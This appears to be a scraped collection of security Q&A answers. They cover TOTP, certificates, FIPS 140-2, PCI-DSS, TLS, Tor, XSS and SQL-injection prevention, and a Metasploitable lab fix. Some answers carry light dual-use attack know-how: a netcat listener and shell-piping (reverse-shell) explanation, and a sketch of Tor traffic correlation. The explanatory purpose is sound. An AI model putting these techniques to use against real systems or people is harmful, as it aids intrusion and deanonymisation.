$len = 3; // up to 999 bytes of data
$start=0;

while ($start < strlen($data) - $len) {
        $stringSize=intval(substr($data, $start, $len));
        echo "String size: $stringSize\n";
        $stringData = substr($data, $start + $len, $stringSize);
        echo "String data: $stringData \n";
        $start += $len + $stringSize;
}

The execution will show this:

String size: 4
String data: key1
String size: 5
String data: test1
String size: 2
String data: k1
String size: 25
String data: long random binary string


One-Time-Password securing an embedded server via OpenSSL

So you basicly want to do Two-Factor-Authorisation? (Or did I misunderstand?)

I'd simply use TOTP (Time based One Time Password) which became the standard for two-factor-authorisation.

Advantages

Standarized method
Compatible to Google Authentificator or pretty much every alternative
Really easy to either use an existing implementation or implement on your own
You don't need to be online nor connected to the server.

Disadvantages

You have to store the client's secret in a secure way to ensure it's not leaked upon a data breach.
Who knows the secret is able to generate passwords at any time he wants. (But that's pretty common when it comes to encryption)


What kind of IoT devices use certificates?

IoT covers a broad range of devices and use cases, like at home the router, smart light bulbs, smart thermostat, maybe smart locks etc. And even more cases can be found in the industry where sensors or data collection systems are everywhere.

Given the broad range of devices they have some things in common: they have some firmware which might have bugs or missing features and thus need to get updates. And they need to communicate with other systems to receive and/or provide collected data.

And this is where certificates (or other trusted containers for a public key) help:

It is essential in most use cases that the device only runs authorized firmware, i.e. no firmware which can be used to destroy the IoT device or even attack connected machines, sensors or other devices in the network. Digital signatures using certificates are typically used to provide such authorization.
In order to protect the data in transit encryption is usually required. This requires that the client knows that it transmits the data to the correct server. Certificates are typically used for this server authentication, for example in protocols like TLS. Alternatively the client does not trust the server it is directly talking to at all, but instead encrypts the data so that only the ultimate recipient can decrypt these. In this case the client can use protocols like PGP, S/MIME or similar to encrypt the data for the final recipients by having the recipients certificate.
Often it is also necessary that the recipient of some data knows for sure which device is sending/creating the data to make sure that it does not get fake data from unauthorized devices.  Again certificates are used for this: either in the form of client certificates within mutual authentication in protocols like TLS. Or by digitally signing the data using a device specific certificate.

  Or also for encrypting communication?

Certificates use public key (asymmetric) cryptography, i.e. RSA or ECC. This kind of cryptography is not suitable to encrypt large amounts of data. Instead symmetric cryptography is used for this (i.e. AES and similar). Certificates still play an important role in encryption in that they are used to protect the symmetric keys used for encryption, for example  in the key exchange in TLS or to encrypt the symmetric key with the recipients public key in protocols like PGP or S/MIME.

  I am assuming that sensors etc are too small to get certificates and use them?

Public key cryptography as the central part of certificate is not that resource intensive as one might think. It is for example already implemented in smart cards or TPM chips which means that it can probably be implemented also in most IoT devices which are capable enough to do some kind of network communication. The usual use cases for public key cryptography within IoT require only the occasional creation or verification of digital signatures or encryption of small data, which means that speed of the operation is usually not that critical.


Self-encrypting drives, certification for tamper-protection?

In the United States, the validation (certification) you looking for in government and some regulated areas is listed in the NIST Validated FIPS 140-1 and FIPS 140-2 Cryptographic Modules list.

Per the FIPS 140-2 standard tamper based requirements start at Level 2.

FIPS 140-2 Security Level 2:

  Security Level 2 enhances the physical security mechanisms of a Security Level 1 cryptographic module by adding the requirement for tamper-evidence, which includes the use of tamper-evident coatings or seals or for pick-resistant locks on removable covers or doors of the module. Tamper-evident coatings or seals are
  placed on a cryptographic module so that the coating or seal must be broken to attain physical access to the plaintext cryptographic keys and critical security parameters (CSPs) within the module. Tamper-evident seals or pick-resistant locks are placed on covers or doors to protect against unauthorized physical access.

and then FIPS 140-2 Security Level 3:

  In addition to the tamper-evident physical security mechanisms required at Security Level 2, Security Level 3 attempts to prevent the intruder from gaining access to CSPs held within the cryptographic module. Physical security mechanisms required at Security Level 3 are intended to have a high probability of detecting and responding to attempts at physical access, use or modification of the cryptographic module. The physical security mechanisms may include the use of strong enclosures and tamper detection/response circuitry that zeroizes all plaintext CSPs when the removable covers/doors of the cryptographic module are
  opened.

and Level 4, the highest:

  Security Level 4 provides the highest level of security defined in this standard. At this security level, the physical security mechanisms provide a complete envelope of protection around the cryptographic module with the intent of detecting and responding to all unauthorized attempts at physical access. Penetration of the cryptographic module enclosure from any direction has a very high probability of being detected, resulting in the immediate zeroization of all plaintext CSPs. Security Level 4 cryptographic modules are useful for operation in physically unprotected environments.

There are some USB keys validated at FIPS 140-2 Overall Level 3; you'll have to check for actual drives, but that's where to look for the U.S.


How much data should I store on a user's computer about their login info?

You should only store a single login token on the user's computer. Nothing more. That token should be created after verifying the user's credentials through a secure login process. The token should expire at some point. On the back end, that token should be associated with all of the user's info. It's generally acceptable to use the user's email address as their login. You should verify the user's email before granting them access to your system.

Also, you can keep track of the IP address or Cities that the user logs in from. That's your perogative. Keep in mind that some users consider tracking their IP to be a violation of their privacy. However, lots of sites track IP now anyway, so it's not as big a deal anymore.

Some systems, like Google, track IP addresses and user-agents. But I would suggest starting with keeping track of the bare minimum, and grow as your needs grow.


Do you have to ban cellphones and paper to be PCI compliant?

Short version:

The PCI-DSS does not explicitly call out the steps you describe.  However, those are common sense steps that are reasonably encompassed by several PCI-DSS requirements.  They are not at all uncommon and I have seen them as requirements to non-PCI-DSS contractual agreements by third parties in a card processing environment.

Long version:

Technically, the PCI-DSS only prescribes security for "system components," not people:

  The PCI DSS security requirements apply to all system components
  included in or connected to the cardholder data environment.

That said, an awful lot of the DSS touches on policies which impact things other than system components.  The following requirements could be reasonably interpreted as being addressed by the two measures (prohibition of uncontrolled data/camera devices in the CDE, control over use of paper in the CDE) you describe:

  7.3 Ensure that security policies and operational procedures for restricting access to cardholder data are documented, in use, and
  known to all affected parties.

While 7.3 doesn't say how restrictions should be implemented, it says you should have restrictions around access as part of your policy.  Control of phone/camera and paper in the CDE is a reasonable restriction.

  9.5 Physically secure all media: Verify that procedures for protecting cardholder data include controls for physically securing all media
  (including but not limited to computers, removable electronic media,
  paper receipts, paper reports, and faxes).

Keeping paper from leaving the CDE is a form of securing paper media, and keeping cell phones/cameras from entering is control of 'removable electronic media'.

  12.3 Develop usage policies for critical technologies and define proper use of these technologies. (... tablets, removable electronic
  media, e-mail usage and Internet usage.)

You'll also note that call centers often disallow access to Internet and email, for the same reason - they're methods that employees could use to get card numbers out of the environment.

These requirements are not 'overkill', they're pretty standard.  They can cause "real" problems (e.g., not just inconveniencing humans) - for example, how do you email password reset links to call center employees who don't have access to email?  How do you verify identity by callback or set up multifactor authentication without soft tokens if there are no personal smartphones?  But they do provide a real security value.

Which is why you will see these requirements as part of PCI-DSS driven policy and as part of contractual agreements.


Tor works by creating a chain of nodes (other Tor users) between Alice and Bob. Each connection in the chain is encrypted separately, such that only the correct node can read its assigned payload. This is enforced using asymmetric cryptography to distribute the keys. When each node receives a message, it strips its assigned layer of encryption off, revealing its instructions and the payload to give to the next node.

               (key3)
               (key2)         (key3)
              *(key1)        *(key2)      *(key3)
Alice   --->   Node1   --->   Node2 --->   Node3   --->   Bob

This system ensures that a node only knows which node it got the message from, and which node to send the message to. Since the origin of the message (in this case Alice) sends a standard payload, Node1 doesn't know whether Alice is the source or just another node in a chain. Node2 knows who Node1 is, but doesn't know if it is the message origin, or a node in the chain. Node3 knows it is the exit node (unless Bob is running as a Tor hidden service, in which case the encryption is maintained right to his front door) and knows that Node2 gave it the message, but has no idea who the message originated from. So, at no point does any node know both the source and target.

Now, how would we attack Tor? The first thing to remember is that each chain has to have some kind of identifier. In this case, the best identifier is a TCP connection. If we know Node3 created a TCP connection to Bob, we can look for connections to Node3 that started at roughly the same time. This gives us the IP address of Node2. The same can be applied to each node in the chain, until we have no correlating connection. In theory, we can use this to trace people through Tor. In practice, it's a little more difficult.

Bluffdale only siphons traffic going through tier 1 nodes in the USA, whereas Tor has nodes operating worldwide. Furthermore, Tor actively attempts to geographically distribute the nodes in a chain. In fact, I'm relatively sure it tries to avoid having the first node in the same country as the last node, but I'm not certain on that one. Anyway, let's assume Node3 is in America, well within the grasp of Bluffdale. You might have access to connection logs to and from Node3, you have no way to tell where the connections went after that because Node2 is in Russia and Node1 is in Spain. Good luck filing subpoenas there!

There are other attacks that correlate traffic when both the origin and target are within your logs, but they're much more probabilistic, which makes life difficult for law enforcement if they need to get a warrant. It does, however, provide them with leads to investigate.

So, whilst Bluffdale does represent a theoretical attack against the Tor network, there are a lot of variables to consider before they can mount a practical attack. On a slightly more reassuring note, this project costs millions of dollars per year to run, so utilisation will be focused on high priority threats. The NSA are hardly going to waste money tracing petty credit card theives and Anonymous members when they've got international terrorism on their plate, so they're certainly not going to bother reading the emails of a random netizen.


Understanding Digital Certification as a whole starting from a normal http request

First, I think that you're confusing some terms. The term is "digital certificate", "certificate", or simply "cert". Not "digital certification". If you really mean "digital certification" then this answer is likely wrong.

Yes. Symmetric keys are used for bulk encryption because symmetric encryption algorithms are much faster than asymmetric ones.
No. This is not a guarantee. All that is required is that the server and client agree upon a shared secret. By using a Diffie-Hellman key exchange, they can agree on the shared secret without needing any encryption. You can read the details about the algorithm or you can just trust that DH key exchange allows for a shared secret to be agreed upon without any crypto being needed. DH is frequently (maybe mostly but I don't have stats) used to agree upon the shared secret.
Yes
Yes
Yes. A certificate chain is used to prove that all certs are untampered.
Trusted CA certs come installed in Windows. IE uses the Windows ones while Chrome and Mozilla install their own set of trusted CA certs.
OK. You're mostly correct here. Some digital signature algorithms work by encrypting the hash of the message with a private key. Other algorithms do other tricks (I'm unfamiliar with the details) but it isn't quite the same thing. So number 7 is best said as "The signature is then validated by the client." Generally this will mean hash and asymmetric encryption, but not always.
Again, no. Diffie-Hellman key exchange is generally used (as discussed in 2 above).
Yes!

Regarding your bulleted questions.

  Is my understanding correct ?

Mostly - I made corrections above.

  for 2* is the session key created by the web client and send to the
  webserver for use directly (encrypted) or it is setup by exchanging
  information that end up having both side with the same session key
  (Diff hellman algorithm ?)

Diffie Hellman as stated above.

  For 5* I have never applied for a digital certificate before. When the
  CA issue a digital certificate, does it really issue the digital
  certificate ? or it just issue a digitally signed hash of the
  certificate.

CAs don't issue certificates as much as sign requests. This is typically done by sending the CA a certificate signing request or CSR. Most tools that generate certs or keys have options for generating a CSR.

  Else,how do we send the digital certificate (original) and its
  digitally signed hashed version without the CA private key ?

I'm not sure what you mean here. Perhaps I answered it above?

  For 6* is my understand correct that CA's public key come preinstalled
  with the browsers ?

Answered above, they come with the browsers or the OS. I think that Java has maintains its own list as well. Probably a few other common apps do the same.

  Does the client need to authenticate with the webserver ? (i read
  about having the client sending cert to the webserver as well).

That's an optional step. For most applications (eg: Amazon and your bank), you, the client, authenticate to the site by making a secure HTTPS connection and then giving it your name and password. Some sites allow two-factor authentication as well. SSL's mutual authentication (AKA: 2-way authentication) is part of SSL that allows the client to authenticate to the server during the SSL handshake. For this to occur, the client must have a cert and private key and that cert must be pre-registered with the server. (Note that there are no CAs for these certs, the browser trusts a cert because they got a copy of it and were told to trust it.) The convenient part of 2way auth is that it happens by magic. No nasty passwords to remember or type. The (really) inconvenient part is that having to manage a collection of certificates and private keys across all your browsers (think mobile) is a pain. Sometimes client certs (ie: 2way auth) are also used as a second factor in a 2-factor auth process. My experience is that 2way auth is most used in high-security environments where users (almost) always use the same computer.

  What will be put in the truststore on the webclient, and what will be
  put in the keystore on the webserver ?

Do you mean what will be put in the truststore/keystore when using 2way auth? Nothing is put in the client's truststore for 2way auth. The cert and its key are usually kept in a keystore or other secure, typically encrypted, data store. And nothing goes into the server's keystore for 2way auth. All the server needs to do is keep a copy of the cert and associate it with the appropriate user. This is generally done in a database.

Maybe you are asking what will go in the truststore/keystore for standard SSL connections? The root CA certs go into the client's truststore. This is typically done by the browser/OS provider and users never need to change this. If you are deploying self-signed certs (ie: no CA) or running a web proxy, you may need to add new certs to the client's truststore. The server's private key is stored in its keystore. For convenience, frequently the cert is stored in there as well.


Man in The Middle attack on secure key exchange protocols

The reason is the one you highlight at the bottom. You are trusting the certificate. Certificates used for performing MiTM on a corporate level, such as when doing SSL inspection, relies on having an internal CA deployed that is trusted by the computers in the domain. Often the trusted CA is pushed down by the domain controller on the domain machines.

L2L VPNs use IPSec which implements DH for key exchange (IKE):

Phase I: The peers authenticate, either by certificates or via a pre-shared
secret. Authentication.
Phase II: A Diffie-Hellman key is created. The nature of the Diffie-Hellman
protocol means that both sides can independently create the shared
secret, a key which is known only to the peers. Key exchange.

Have a look here for a more in-depth discussion


Can I use a cryptographic hash function to prove my authorship of an anonymous article?

One way that strikes me is simply generating a new PGP/GPG key, with an obviously bogus e-mail, such as example@example.com. Sign the work you publish, and make sure the signature is published together with the work.

If you at some later date need to verify that you wrote it, simply dig up the private and public key that made the signature. This can be used to prove that you had knowledge of and access to the work before it was published.

As long as you do not connect the keys with yourself in any way, no thirdparty can connect the work to you.

You need to keep the key material in the intervening period of course.


Using single or double quotes to prevent XSS and SQLi?

Without quotes, the payload would escape the actual attribute's value and will start a new attribute with its own payload:

Whereas with quotes it will remain a harmless single attribute value:

Note that to prevent XSS you must encode the special characters inside the value as well.

For the SQL injection the situation is different. It is strictly not recommended to declare input values in the query in the first place.

To prevent an SQL injection, a parameter must be defined in the query in place of the actual value, which must be sent to the query execution separately:

$stmt->prepare("SELECT * FROM t WHERE id=?");
$stmt->execute([$id]);

Therefore, there must be not a single quote in the query related to the dynamically added value, which makes the question on quotes just irrelevant.


No, as you describe this, this will not work.
netcat -lnvp is not supposed to execute any command. It is just one side of a text chat really.
 As you show, you need to hook those messages up to a shell that will do something with that text by piping the shell to netcat.

Unless there is a vulnerability on the attacker machine, the victim can only send text. A vulnerability would be netcat executing a command in text it gets sent, or the attacker using a script to handle the netcat output that is vulnerable to command injection.


Metasploitable ports closed and web server unavailable

The problem is that Kali's nmap is trying to scan your HOST system instead of metasploitable.  This is the only solution that worked for me, hope it helps you, as I also had a inet addr: 10.0.2.15.

Click on Metasploitable in VB
Click settings
Select network
Change NAT to Bridged Adapter
Repeat with Kali
Enjoy a working nmap!


Is decryption of past conversations a legitimate concern?

Actually we might assume the government is already doing this. There have been numerous rumors of organizations collecting traffic on a mass scale, and storing this is datacenters for the next years. And yes it is a real concern. That is why AES (or any block cipher) alone is not good enough for communication over insecure channels.

Tunnels like TLS use many different techniques to make it harder to decode a stream of information. For example; some TLS suites allow for a Diffie Hellman Ephemeral key that changes ever so many bytes/minutes. The key is then regenerated and exchanged between the parties which they use to encrypt the information from that point on. Any listening party would need to break the individual keys together with the master key in order to derive the plaintext.

Update (reaction on comment)

There is a difference between the pre-master secret and the master secret. The pre-master secret is the key which was agreed upon by both parties. This could come from a DHE key exchange in case of a ephemeral capable cipher suite. The master secret is merely a (hash) function that derives a shared secret. After this the shared secret can be used for, say, symmetric encryption. The last component of that process can be repeated over and over.

Yes, ephemeral keys make things harder but certainly not impossible. It does not only require the adversary to decrypt the individual pieces, but to collect them all (in order) to start with, which poses it's own set of problems.

The fear exist that an organization or government will decrypt all the intercepted traffic retrospectively in 10 or 20 years from now when, as an example, quantum computers can efficiently implement Shor's for mainstream bit sizes such as 4096 and similar.


What are some examples of known scenarios of network attacks?

A bunch of network packets does not usually reside in code execution. It can though result in code execution if the software dealing with these packets (i.e. the OS kernel, a specific driver or some application which gets fed the payload) improperly handles the data. Improperly means typically having specific expectations about the data but not ensuring that these expectations are actually met.

Some examples for such attacks at various levels of the software stack:

Cisco ASA Software IKEv1 and IKEv2 Buffer Overflow VulnerabilityBuffer overflow in the Cisco iOS operating system caused by crafted (i.e. unexpected) UDP packets.
BroadPWN: remotely compromising android and ios via a bug in broadcom’s wi-fi chipsetsBuffer overflow in Wifi driver allows kernel level code execution using crafted packets.
MS14-066: Vulnerability in SChannel could allow remote code executionAgain, crafted  data inside the TLS handshake which were improperly handled by the Microsoft SSL stack.
ShellshockData from the HTTP request header where propagated into environment variables of CGI script running in the web server. Due to a bug in the bash shell (used to execute code in some CGI scripts) the attacker could achieve code execution with a simple (again, crafted) HTTP request.


Yes it could be a problem. It depends on the point that the first name field is sanitized. My first impressions that it was a DOM update that caused the alert to be shown (see DOM based XSS). However, as you said you could refresh the page this is unlikely unless a hash is added to the address bar (e.g. www.example.com/page.aspx#name=foo).

Maybe a script runs to sanitize the value when the home page is displayed (which would be odd). There is also the possibility that certain values can bypass the sanitization and exploit the vulnerability. Either of these things mean that the XSS payload may be executed when an admin user views the list of users.

There is also the possibility that Broken Access Controls could allow another user to update the first name of another user to exploit this XSS flaw when they log in.

It all depends on when the sanitisation executes, so more investigation would be needed on the site to determine this.


Reviewing IP(s) that has been blocked by firewall / router

Security is nearly always a tradeoff and your strategy here will have to be adjusted to make that tradeoff acceptable to you.  I see three aspects:

Unblocking too early.
Unblocking too late.
Extra RAM/CPU/latency of holding long lists of IP addresses in your firewall.

I would unblock any IP that hasn't sent any malicious traffic for some amount of time.  The amount of time I would initially choose would be 12 hours.  This number strikes a balance that favours letting falsely blocked users back in quickly and keeps the lists short.  I've never seen a single IP address pause for 12 hours before sending more malicious traffic although such a thing is possible.

Note that this is 12 hours after the last maliciois traffic was detected, not 12 hours after the block was put in place.  If an attacker keeps trying even after he's blocked, he stays blocked.

The number should be tuned based on what you see the attackers doing and on the estimated cost of a falsely blocked user and one extra IP address in the firewall rules.


Overall not bad, with a few flaws in the details.

If last_login_fe_salt is random and changes each login, then the PBKDF2 result sent to the server fails.  This needs to be stored in the server's record for that username and kept the same.

Rounds also needs to be kept the same, and stored per username, so you can change the defaults.
If you want the ability to change them, then you need to be able to send to the client TWO salt and TWO iteration counts; old and new; then you get back both results; run both through the server-side algorith, then validate the old result, and if valid, store the new result.

Why aren't you using SHA-512?  The 64-bit operations required decrease the margin of advantage GPU based attackers have over your CPU based systems.
Don't hardcode the server side rounds of 100,000; if you really want this, then

store the system required server rounds and user required server rounds in separate fields
consider moving the user round count security addition to the client side; otherwise you're going to hit denial of service attacks by insane round counts using all your CPU!

Congratulations on choosing a well known iterated key password hashing function with reasonable round counts!


With a bit of digging around, I've found some evidence of recent activity on this subject: Functional Explanation of Changes in XML Encryption 1.1 (W3C Working Group Note 11 April 2013). There are a lot of changes in the XML Encryption 1.1, among others:

Added Key Derivation
Added Elliptic Curve Diffie-Hellman Key Agreement
Added Algorithms
Changed Algorithms

and among most relevant to your question, changes to security considerations:

  Added security consideration information on Chosen Ciphertext Attacks, including attacks against encrypted data and encrypted key. Provide specific notes on CBC Block Encryption vulnerability, and the Bleichenbacher attack.

The article you were reading is about exploiting a weakness in the CBC mode for the chaining of different ciphertext blocks. While it does appear to be the real thing, it applies to encryption schemes before XML Encryption 1.1:

  “We were able to decrypt data by sending modified ciphertexts to the
  server, by gathering information from the received error messages.”
  The attack was tested against a popular open source implementation of
  XML Encryption, and against the implementations of companies that
  responded to the responsible disclosure – in all cases the result was
  the same: the attack works, XML Encryption is not secure.

While I don't see this as exaggeration, and it doesn't strike me as surprising either (see for example this answer to the question How less secure is an encryption if we know something about the original data? and Wiki on Adaptive chosen-ciphertext attack), it needs to be mentioned again that it applies to CBC encryption mode avalable in XML Encryption 1.0 that was handled by a different W3C workgroup (XML Encryption WG last active in 2008).

This work has by now been moved to XML Security Working Group whose baby is XML Encryption 1.1 as a direct answer to such attacks as described in the article. In fact, The XML Security Working Group even directly mentions these attacks on XML Encryption 1.0 in the XML Encryption 1.1 documentation.

Addendum: Whilst reading through some non-related cryptography articles, I've stumbled across Matthew Green's blog post on Attack of the week: XML Encryption dating back to October, 2011. Matthew Green is a cryptographer and research professor at Johns Hopkins University, and writes most fabulous texts on cryptography and related subjects. His explanation of what this attack on XML Encryption is all about is the best one I've yet read, and of course a recommended read for anyone interested to learn more about them. Here's a short excerpt:

  Stop using unauthenticated CBC mode. Stop using any encryption
  standard designed before 2003 that hasn't been carefully analyzed and
  recently updated. Stop using any unauthenticated encryption at all.
  Wrap your SOAP connections with TLS (a recent version!) if you can.

Source: Attack of the week: XML Encryption, Matthew Green


Does an email signature increase security?

A symmetric key can certainly transmit data securely from Alice and Bob.  When they use a symmetric key, they can be sure that:

the mail was not tampered with in transit
the mail was not viewed in transit

The PGP key exchange will allow them to work out a way to trust each other, traditionally in a Web of Trust model.  The trick with PGP is that until later versions, there was not creditable authority that both Alice and Bob depended on - that's the big variation between PGP and a PKI system that provides email signatures and encryptions in most mail clients.

The issues are in in several parts:

in a symmetric key exchange, there is risk added with each person who knows the key.  If Alice and Bob want to resend the mail to Charlie, either they will have to share the symmetric encryption key with Charlie or either Alice or Bob will have to create another encryption key for sending Charlie.  If there will be multiple mails between Alice, Bob, and Charlie, there could be 3 keys (Alice/Bob, Bob/Charlie, Alice/Charlie) - this increases exponentially as more people join in the conversation.
point to point encryption does not prove lack of tampering between the points.  If Bob mails a mail to Alice, and Alice gets ticked off and forwards the mail to Charlie saying "Look what Bob wrote!", there's no proof that the mail actually came from Bob if the encryption was from Bob to Alice and then Alice to Charlie.  Alice could have faked it or modified it.  However, if Bob had signed the mail to Alice, and then Alice forwarded Bob's mail to Charlie, Bob could not easily claim that Alice messed with it, so long as the signature remains intact.  The email and signature can be stored indefinitely, and in the clear with this method of security.
Assymmetric encryption (typical email encryption when you use a mail client) is based off of having a repository of known credentials of other users on hand and knowing exactly what key pair to use to route a mail to any given recipient.  This mitigates the key distribution problem - I have a safe repository of secure methods to send to anyone in the system, and we didn't have to exchange keys.  If someone looses their key pair, only the mails they themselves have received will be compromised.  If we used a symmetric key pair as a group, all group communications would be at risk.

All that said, setting up key pairs, and directory services serving certificate credentials for a group of people is a non-trivial task.  Making a self-signed certificate is pretty easy, but also pretty worthless - the value is having it in a system with shared trust coming from a common source, and creating that system and maintaining it requires some effort.

It's not overkill, but it's not easy - so it's the sort of thing you bother with when there's a value to non-repudiation (Bob can't deny that he mailed the mail), and private communication across a larger group of people.  For two people the value is much, much smaller.


What should I do if my adapter isn't capable of packet injection?

Have you read the aircrack article about supported cards? Start there to begin with. They even have a tool to test if your cards supports monitor/injection mode. If the hardware doesn't support modes other than station infrastructure mode, you're out of luck. If it does, then make sure you have the correct drivers supporting this feature. At last you OS should have the tools to inject/monitor, but this is not the problem, most of the time.

From what I have found (just by searching, I haven't actually confirmed anything) is your card doesn't support injection or monitor mode.


The HSM only makes it so that you know there is only 1 copy of the key. Use of the key is a separate issue. You do get the peace of mind that someone hasn't copied the key and is using it somewhere else. If the HSM is safe, the key is safe.


Best practice for config files for ec2 instances

You can store the config file in S3, the Secrets in parameter store (they can be encrypted at rest) and inject the parameters in your config file (with sed in bash for example).

I won't advice to directly store them inside your EC2 (I mean EBS) because anybody having the right to mount the EBS could have access to them.


Would services or whole operating systems written in pure Python/Java be safer?

Using Java or Python instead of C or C++ does indeed (almost) completely remove the risk of buffer overflows and similar. That does not automatically make such services safe or even safer - there are whole classes of vulnerabilities (check out OWASP top 10) completely unrelated to memory safety.

So would writing an OS in Python of Java be a good idea? It's not obvious how that would even work. The OS must perform direct memory management, and you can't really do that in such a high level language. Besides, there would be performance issues. A much more viable approach would be to write your OS in a low level language that is memory safe, like Rust.

But at the end of the day, if you hire a lazy web developer like me, I'll just concatenate untrusted data straight into SQL queries anyways. And all the memory safety in the world is not going to help against that.


Your browser rejected a certificate, but this doesn't have to be caused by an attack.

  Google.co.uk is failing its HSTS on my browsers.

The warning you see doesn't indicate a problem with HSTS in particular. It's just Firefox saying: "The certificate appears invalid. And by the way, we won't let you add a manual exception because the site uses HSTS." 1

There are many plausible reasons why you got served an invalid certificate for a short amount of time. It could be a hickup at your ISP, a problem with your router, SSL interception by a captive portal (as mentioned by @FedericoPoloni) or, theoretically, a poor attempt at an MITM attack. The first step of investigation would be to check which certificate you were actually served.

Afterwards, you didn't correctly compare the certificates: You connected to www.google.co.uk but ran the third-party test against google.co.uk. These are technically different domains that serve different certificates depending on the indicated server name.

Here I'm testing each -servername with openssl and you should recognize both fingerprints:

$ openssl s_client -servername www.google.co.uk -connect www.google.co.uk:443 < /dev/null 2>/dev/null | openssl x509 -fingerprint -noout -in /dev/stdin
SHA1 Fingerprint=D1:8F:DE:83:4A:68:88:32:DD:CF:C8:6B:0C:74:94:33:02:75:BC:43
$ openssl s_client -servername google.co.uk -connect www.google.co.uk:443 < /dev/null 2>/dev/null | openssl x509 -fingerprint -noout -in /dev/stdin
SHA1 Fingerprint=42:38:CE:6C:AA:C5:FE:13:A0:5A:56:88:F3:F2:E7:E4:D7:14:07:DA

1HSTS (HTTP Strict Transport Security) is a header which  web servers can send to indicate that clients should never connect to the site over plain HTTP (for a specified amount of time). Your browser picked up that header during one of your previous visits to www.google.co.uk or preloaded it. One of the header's side effects is that the UI wont't allow you to ignore certificate warnings anymore by adding an exception.


How can Twitter and GitHub be sure that they haven't been hacked?

They can't be sure. In fact, you can never be sure you haven't been hacked. But a thorough examination can make you conclude that it is more or less likely.

The Twitter statements only says that there is no indication of a hack. That doesn't exclude the possibility that they were hacked, and in urging their users to change their passwords they implicitly admits that.

As for GitHub, the wording is a bit more categorical. But I think forcing a password reset shows that they understand the risks involved.


Is SAQ A-EP possible on a shared web host?

Your hosting provider is acting as a service provider for network, operating system, and several other services in the SAQ A-EP. For your compliance, you will need to obtain a copy of their Attestation of Compliance in order to satisfy requirement 12.8. Also, be sure to review their AoC to make sure that the services covered by their AoC are the services you are expecting from them. I have run into situations where the AoC for a hosting provider only covered physical security (requirement 9) but not OS-level requirements.

Finally, this article from the PCI SSC can be helpful: https://www.pcisecuritystandards.org/pdfs/best_practices_securing_ecommerce.pdf


Is an API password safe in a mobile application?

Anything stored on a user device should be assumed readable by that user. This is regardless of whether its stored in file storage, OS registry, compiled code or even just kept in RAM. It also makes no difference whether the application is a mobile app, desktop application or web app (for data available on the client).

With compiled code you can either inspect the binary directly, use a tool to decompile it or execute the code and take a memory dump then inspect that.

If you want to restrict calls to your API solely to code controlled by your clients then they will have to authenticate their users and forward requests via their own servers.


To encrypt a file as it gets downloaded, store it in an encrypted drive.

The requirement “not directly downloading to encrypted drive due to security” is meaningless since downloading to an encrypted drive is not a security risk. It needs to be either clarified or ignored.

If there is a requirement not to download directly to a certain location because that location should only contain valid, complete files, then download to a different directory on the same encrypted drive first, then validate the fully downloaded file, and if valid move the file to the final location. In this scenario, the intermediate staging location on the encrypted drive is necessary anyway because if the intermediate staging location was outside the drive then it would be impossible to guarantee that the final location only contained valid files, since during a copy it would contain a partial file.

If there is a requirement that files that are being downloaded but not validated do not risk filling the encrypted drive, then apply a size limit to the download.


Why am I sometimes spontaneously presented with an SSL certificate from my U-Verse Residential Gateway?

The rg is trying to get you to look at a different page by hijacking the one you were headed to.  Similar to the way some WiFi gateways will force a redirect to an auth page by hijaçkong the first thing you try to access on 80 or 443.  Att does this fptr different reasons, like when they were pushing bittorrent users to pages trying to promote paid video and music services.


What typically is the expiration date of a session cookie?

I'm guessing it's the browsing session, so if I don't set an expiration date this will be used as the default, right?

Yes. Unless you have a particular need for sessions to survive a browser restart, omit the expires parameter so that the cookie is browser-session-only and not persisted to disc.

  does it depend on how long I want users to stay logged in before automatically logging them off

That is governed by your actual session expiry time, which should be implemented on the server-side alone. If you do use an expires time you would generally want it to be at least as long as the server-side timeout, but you shouldn't rely on the browser honouring that expires as your method of ensuring old sessions are unreachable.

Generally, session-only (no-expires) cookies are used for session-tracking, with timeout happening on the server side. If a request is made with an unrecognised or missing cookie, then likely the session has expired at the server side, the browser has been closed at the client side, or both, and you should direct the user to start a new session.

Typically there will be a session management tool included in whatever your web framework is on the server-side that will work this out for you by sending the appropriate Set-Cookie headers on an HTTP response (either the initial HTML page, or an XMLHttpRequest response). Whilst you could reimplement session management yourself using only JavaScript, passed parameters and, say, localStorage as an alternative to cookies, there doesn't seem to be that much to win by reinventing that wheel.


PKI/Why does Microsoft require my cert before encrypting an email?

I think that sender's digital certificate is required since Outlook stores an encrypted copy of message on your side. Then you can open it with your own private key.


Does it make sense to use two factor authentication with password protected wp-admin folder?

I am not sure what three factors you are counting here.

I count two: (1) passwords (2) Google 2-factor.

Now, I'm not getting into Google's solution, how it works or whether it is good or not.

But simply adding another password, does NOT create a 2nd factor - to do that, you need a different factor.

As a reminder, the typical authentication factors are:

Something you know (e.g. passwords)
Something you have (e.g. smartcard, or G2F)
Something you are  (e.g. biometrics).

So having two different passwords is still just one factor, and does not give you the benefits of having the 2nd factor, or prevent the threats against single-factor authn.

Is it silly to add a 2nd factor, given that you already have 2 passwords?
It's hard for us to say, not knowing what the site is for or about, your risk profile, tolerance, etc. But if you need to keep it secure - and it's not your sister's cat's blog - then no, it is not silly at all.


What service could penetrate my Firewall via UDP on Port 17275?

Port 17275 is not registered to any specific service so it can be any application that's configured to listen on that port.

Remember that:

Well Known Ports are: 0 through 1023.
Registered Ports are: 1024 through 49151.
Dynamic/Private are: 49152 through 65535.

Some googling shows that several pieces of malware seem to use this specific port for communications.


Was redirected from MS Outlook to a phishing site. Need independent opinion on whether or not my computer is compromised

I see two possible scenarios of compromission through a web page:

Phishing, like this appears to be the case at first sight. If you didn't enter anything in the page, then you're okay.
Exploit. The webpage exploits a vulnerability (bug) in your web browser. If your browser is up to date and if you're not an especially high value target, this is unlikely.

So I think you're good.


This space is for the type of company you are... such as an LLC, C-Corporation, or Non Profit.

If you're unsure, look at your DUNs filing or your state incorporation papers.  The person who owns the company or manages the legal paperwork (accounting?) will have this.


When brute-forcing DES, does knowing something about the plaintext help?

In a standard brute force search it is assumed you already know at least one plaintext and its associated encryption with a given key. So having the plaintext be from a restricted set is not going to help unless there is some other weakness you are taking advantage of.


Does Windows 10 provide sufficient virus and threat protection?

Windows defender is more than adequate for home use. I find its actually becoming a tad annoying as I will PoC malware techniques to understand them and defender keeps dropping my files in quarantine.

Really for the price and what it does you cannot go wrong with Windows defender.


Can I build trusted electronics device now a day?

I'd consider using open sourced OS like Fedora, Mint, Ubuntu etc.

Open Source Projects are now having more developers than ever and projects are really well monitored and maintained, like Kernel, GCC, glibc etc.

It's quite important to use still maintained and well reviewed libraries to build new software, and do it in such fashion that keeping it up to date is not difficult.

